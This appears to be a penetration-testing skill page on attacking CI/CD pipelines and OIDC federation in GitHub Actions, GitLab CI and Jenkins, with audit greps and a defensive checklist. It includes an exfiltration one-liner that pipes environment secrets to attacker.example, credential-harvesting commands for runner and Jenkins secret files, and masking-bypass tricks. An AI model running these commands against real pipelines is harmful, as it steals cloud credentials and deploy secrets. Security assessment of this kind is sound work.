secskills
secskills / offense / abusing-ci-cd-oidc

abusing-ci-cd-oidc

offense verified 2026-07-27

Exploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when pentesting CI/CD infrastructure, assessing OIDC federation trust boundaries, reviewing pipeline security posture, or exploiting a path from repository access to cloud credentials.

$ /plugin install secskills-offense $ /plugin install secskills-core

CI/CD pipelines are high-privilege execution environments, often with direct cloud IAM access, deploy credentials, and signing keys. OIDC federation turns a repository write into cloud credential issuance when the trust policy is too broad. A single misconfigured workflow or a wildcard subject claim can bridge the gap from "can open a pull request" to "has production cloud access."

When to Use

When NOT to Use

GitHub Actions

Poisoned Workflows

pull_request_target runs in the base repo context with secrets and a write-scoped GITHUB_TOKEN, but can be triggered by a fork PR.

# Find pull_request_target triggers that check out PR head code
rg -n 'pull_request_target' -A20 .github/workflows/ | rg 'checkout|ref.*head'

# Script injection: untrusted PR/issue data interpolated into run blocks
rg -n '\$\{\{\s*github\.event\.(issue|pull_request|comment|review)' .github/workflows/

Attack pattern: fork the repo, modify the checked-out code path (build script, Makefile, test harness), open a PR. The workflow executes your code with the base repo's secrets. Exfiltrate via DNS, HTTP callback, or artifact.

Secret Exfiltration and Token Scope

# Secrets are in the environment -- exfiltrate out-of-band
env | base64 | curl -d @- https://attacker.example/exfil

# GITHUB_TOKEN scope check
curl -s -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/OWNER/REPO -I | grep 'x-oauth-scopes'

# Check if permissions are restricted in the workflow
rg -n 'permissions:' .github/workflows/
rg -n 'permissions:\s*write-all' .github/workflows/

Unrestricted GITHUB_TOKEN defaults to read+write on contents, packages, and more. With a write-scoped token: push to branches, create releases, modify packages, approve deployments.

Self-Hosted Runner Compromise

Self-hosted runners on public repos are a critical finding. They persist between jobs, so a malicious workflow leaves implants for subsequent jobs.

rg -n 'runs-on:.*self-hosted' .github/workflows/

# On a compromised runner: harvest credentials from prior jobs
find / -name '.credentials' -o -name '.env' -o -name '*.pem' 2>/dev/null
cat /home/runner/.aws/credentials

Artifact Poisoning

# If a PR workflow uploads build artifacts consumed by a deploy workflow,
# the PR author controls what gets deployed
rg -n 'upload-artifact|download-artifact' .github/workflows/

GitLab CI

Runner Tokens and Shared Runners

# Exposed runner registration tokens allow registering rogue runners
rg -rn 'RUNNER_TOKEN\|REGISTRATION_TOKEN\|CI_JOB_TOKEN' .gitlab-ci.yml

# CI_JOB_TOKEN can access other projects if inter-project deps are configured
curl --header "JOB-TOKEN: $CI_JOB_TOKEN" \
  "https://gitlab.example/api/v4/projects/OTHER_ID/repository/files/secret.txt/raw?ref=main"

# Shared runners: Docker socket mount leaks between jobs
rg -n 'docker:dind\|/var/run/docker.sock' .gitlab-ci.yml

CI Variables Extraction

# Masked variables are hidden from logs but present in env
printenv > /tmp/all_vars.txt && cat /tmp/all_vars.txt

# Protected variables: only on protected branches/tags
# Push a tag matching the protection pattern to access them
git tag release-exploit && git push origin release-exploit

OIDC Federation Abuse

OIDC federation lets CI jobs assume cloud roles without stored credentials. The security boundary is the trust policy's subject claim filter.

Overly Broad Subject Claims

# AWS: inspect IAM role trust policy conditions
aws iam get-role --role-name ci-deploy-role \
  --query 'Role.AssumeRolePolicyDocument' --output json

# Dangerous patterns in the Condition block:
# "sub": "repo:org/*"                     -- any repo in the org
# "sub": "repo:org/repo:*"                -- any branch, any environment
# "sub": "repo:org/repo:ref:refs/heads/*" -- any branch
# No Condition at all                      -- any token from the IdP

Vulnerable AWS trust policy:

{
  "Effect": "Allow",
  "Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringLike": {
      "token.actions.githubusercontent.com:sub": "repo:org-name/*"
    }
  }
}

Any repo in the org can assume this role. Abandoned repos, docs repos, and repos with loose contributor policies become pivots to production cloud access.

GCP and Azure

# GCP: check attribute conditions on workload identity provider
gcloud iam workload-identity-pools providers describe PROVIDER \
  --location=global --workload-identity-pool=POOL
# Vulnerable: no attribute condition, or condition matching only the org

# Azure: list federated identity credentials
az ad app federated-credential list --id APP_OBJECT_ID
# Same wildcard risks: "repo:org/*" or "repo:org/repo:ref:refs/heads/*"
# Safe: "repo:org/repo:environment:production"

Environment Protection Bypass

Environment protection rules gate OIDC token issuance only if the trust policy conditions include :environment:. A policy matching repo:org/repo:* ignores environments, so required reviewers provide no protection.

rg -n 'environment:' .github/workflows/
# Compare to the trust policy Condition -- if it lacks :environment:, bypass

Jenkins

Groovy Console and Credentials

# Script console (/script) runs arbitrary Groovy as SYSTEM
# Check for unauthenticated access
curl -s -o /dev/null -w "%{http_code}" http://jenkins.target/script

# Credential files on disk
cat /var/lib/jenkins/credentials.xml
cat /var/lib/jenkins/secrets/master.key
cat /var/lib/jenkins/secrets/hudson.util.Secret

Pipeline Library Injection

# Shared libraries via @Library execute in the pipeline sandbox
# If the library repo is writable, inject code into vars/ or src/
rg -n '@Library\|library\(' Jenkinsfile

# "Load implicitly" enabled = every pipeline runs the library's code

Secrets in CI

Extracting Masked Variables

# Masking hides secrets from logs but not from the process environment
echo "$SECRET_VAR" | base64                    # bypass log masking
echo "$SECRET_VAR" | sed 's/./&\n/g'           # char-by-char bypass
echo "$SECRET_VAR" > secret_dump.txt           # write to artifact

OIDC Token Interception

# GitHub Actions: request the OIDC token
curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com"

# JWT is reusable until expiry (typically 5-15 minutes)
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .

Long-Lived Tokens as CI Secrets

# Credentials that should have been replaced by OIDC
env | grep -i 'AWS\|AKIA'                     # AWS access keys
env | grep -i 'AZURE\|ARM_CLIENT'             # Azure SP credentials
find / -name '*service*account*.json' 2>/dev/null  # GCP SA keys

Build Artifact Poisoning

Cache Poisoning

# CI caches shared across branches -- a PR can poison the main-branch cache
rg -n 'actions/cache' -A5 .github/workflows/
# Check whether cache keys include dependency lock file hashes

rg -n 'cache:' -A10 .gitlab-ci.yml
# key: $CI_COMMIT_REF_SLUG is branch-scoped but forks may share

Dependency Confusion via Internal Registries

# If CI resolves from both internal and public registries,
# a higher-version public package wins resolution
rg -rn 'registry\|index-url\|repository' .npmrc .yarnrc pip.conf pyproject.toml
# Non-scoped internal packages (@org/pkg format) are vulnerable

Defensive Review Checklist

OIDC subject claim strictness:

Workflow approval gates:

Runner isolation:

Secrets hygiene:

Build integrity:

Rationalizations to Reject

Any repo in the org becomes a pivot to cloud access. Abandoned repos, forks, and repos with loose contributor policies are all in scope.

not a security boundary. Secrets are plaintext in the process environment.

approval is enforced at the repo or org level, external contributors can trigger pull_request_target workflows.

persist between jobs accumulate credentials from every job they execute. Ephemeral runners are the control.

OIDC token issuance if the trust policy conditions include the environment claim. A policy matching repo:org/repo:* ignores environments entirely.

is enough to exfiltrate data, modify infrastructure, or establish persistence in the cloud account. Short-lived is not harmless.

definition does not protect against pull_request_target, which runs the attacker's code before any merge.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Initial Access (TA0001)

Credential Access (TA0006)

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References